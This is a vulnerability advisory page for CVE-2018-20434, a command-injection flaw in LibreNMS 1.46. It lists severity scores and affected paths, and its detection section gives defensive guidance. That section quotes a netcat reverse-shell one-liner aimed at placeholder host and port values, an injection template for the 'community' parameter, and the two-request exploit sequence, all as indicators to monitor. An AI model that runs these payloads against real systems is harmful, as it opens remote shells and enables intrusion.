cbcvebase.
CVE-2018-20434
published 2019-04-24

CVE-2018-20434: LibreNMS 1.46 allows remote attackers to execute arbitrary OS commands by using the $_POST['community'] parameter to html/pages/addhost.inc.php during creation…

PriorityP181critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
71.49%
99.3th percentile
LibreNMS 1.46 allows remote attackers to execute arbitrary OS commands by using the $_POST['community'] parameter to html/pages/addhost.inc.php during creation of a new device, and then making a /ajax_output.php?id=capture&format=text&type=snmpwalk&hostname=localhost request that triggers html/includes/output/capture.inc.php command mishandling.

Affected

1 ranges
VendorProductVersion rangeFixed in
librenmslibrenms

Detection & IOCsextracted from sources · hover to see the quote

url/addhost/
url/ajax_output.php?id=capture&format=text&type=snmpwalk&hostname=localhost
pathhtml/pages/addhost.inc.php
pathhtml/includes/output/capture.inc.php
command'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {rhost} {rport} >/tmp/f) #
command'; <payload>#'
url/delhost
  • Monitor POST requests to /addhost containing shell metacharacters (single quotes, $(), backticks, semicolons) in the 'community' parameter, which is the injection point for this CVE.
  • Alert on GET requests to /ajax_output.php with query parameters id=capture, format=text, type=snmpwalk immediately following a suspicious POST to /addhost — this two-stage request sequence is the exploitation pattern.
  • Detect creation of /tmp/f as a named pipe (mkfifo) on the LibreNMS host, which is a strong indicator of the reverse shell payload being executed.
  • The exploit requires prior authentication; look for login attempts followed immediately by POST /addhost and GET /ajax_output.php from the same source IP as a correlated attack chain.
  • The Metasploit module uses a randomly generated 6–12 character alpha hostname for the injected device; alert on device additions with random-looking hostnames paired with community strings containing shell injection patterns.
  • The community parameter payload pattern to detect is a leading single-quote followed by a shell command and a trailing comment character (#), e.g. '; <cmd>#'
  • ·Exploitation requires valid authenticated credentials to LibreNMS; unauthenticated exploitation is not possible for this CVE.
  • ·The vulnerable version is specifically LibreNMS 1.46; confirm the deployed version before applying detections to avoid false positives on patched instances.
  • ·The Metasploit module attempts to clean up by deleting the injected device via POST /delhost after exploitation; forensic artefacts of the device addition may be short-lived in the LibreNMS database.

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.